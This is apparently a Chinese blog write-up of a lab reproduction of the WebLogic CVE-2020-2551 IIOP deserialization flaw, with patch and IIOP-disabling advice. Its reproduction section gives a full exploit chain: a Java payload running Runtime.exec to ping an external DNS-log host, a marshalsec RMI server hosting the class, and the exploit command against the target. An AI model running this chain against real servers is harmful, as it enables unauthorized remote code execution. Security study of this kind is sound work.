1.漏洞分析
通过 Oracle 官方发布的公告是可以看出该漏洞的主要是在核心组件中的,影响协议为 IIOP 。该漏洞原理上类似于RMI反序列化漏洞(CVE-2017-3241),和之前的T3协议所引发的一系列反序列化漏洞也很相似,都是由于调用远程对象的实现存在缺陷,导致序列化对象可以任意构造,并没有进行安全检查所导致的。
攻击者可以通过 IIOP 协议远程访问 Weblogic Server 服务器上的远程接口,传入恶意数据,从而获取服务器权限并在未授权情况下远程执行任意代码。IIOP 协议以 Java 接口的形式对远程对象进行访问,默认启用。
2.漏洞复现
环境使用的是用https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2018-2628
因为环境使用的docker,weblogic是内网ip启动,需要解决这个问题。
参考https://xz.aliyun.com/t/7498文章中的解决方法,重新编译wlfullclient.jar包
具体思路请看原文,记录一下我的复现步骤。
2.1 重打包wlfullclient.jar包
poc:https://github.com/Y4er/CVE-2020-2551
IOPProfile在项目里的库wlfullclient.jar中定义,wlfullclient.jar是从Weblogic 10.3.6环境中导出来的。
IOPProfile路径:
CVE-2020-2551\src\lib\wlfullclient.jar!\weblogic\iiop\IOPProfile.class
反编译IOPProfile.class,把源码复制出来
修改327行,host改为与目标机与攻击机网络通的ip,改对应端口。
新建包名weblogic.iiop->weblogic.iiop包下新建IOPProfile.java->源码复制过去->编译成class文件
替换掉wlfullclient.jar的IOPProfile.class
然后编译poc jar包
重打包参考:https://blog.csdn.net/tomcat_zhu/article/details/79240011
2.2 漏洞复现
1)java 1.6 编译exp.java
exp.java
import java.io.IOException;
public class exp {
public exp() {
String cmd = "ping -nc 3 2551.9qe5rc.ceye.io";
try {
Runtime.getRuntime().exec(cmd).getInputStream();
} catch (IOException e) {
e.printStackTrace();
}
}
}
2)使用python在exp目录起一个web服务
python3 -m http.server 8008
3)使用marshalsec启动rmi服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://192.168.64.1:8008/#exp“ 1099
4)使用编译的poc发起攻击
java -jar CVE-2020-2551.jar 192.168.64.153 7002 rmi://192.168.64.1:1099/exp
攻击成功
2.3 思考
是不是每次攻击都得重打包jar包? 太菜了 不知道用这种笨办法操作了
3.修复建议
3.1 请及时更新补丁
Oracle官方已发布漏洞补丁,建议用户下载使用:
https://www.oracle.com/security-alerts/cpujan2020.html
3.2 其他防护措施
可通过关闭 IIOP 协议对此漏洞进行防护。操作如下:
在 Weblogic 控制台中,选择“服务”->”AdminServer”->”协议”,取消“启用 IIOP”的勾选。并重启 Weblogic 项目,使配置生效。
4.参考文章
手把手教你解决Weblogic CVE-2020-2551 POC网络问题 https://xz.aliyun.com/t/7498
漫谈 WebLogic CVE-2020-2551 https://xz.aliyun.com/t/7374
Weblogic CVE-2020-2551 IIOP协议反序列化RCE https://y4er.com/post/weblogic-cve-2020-2551/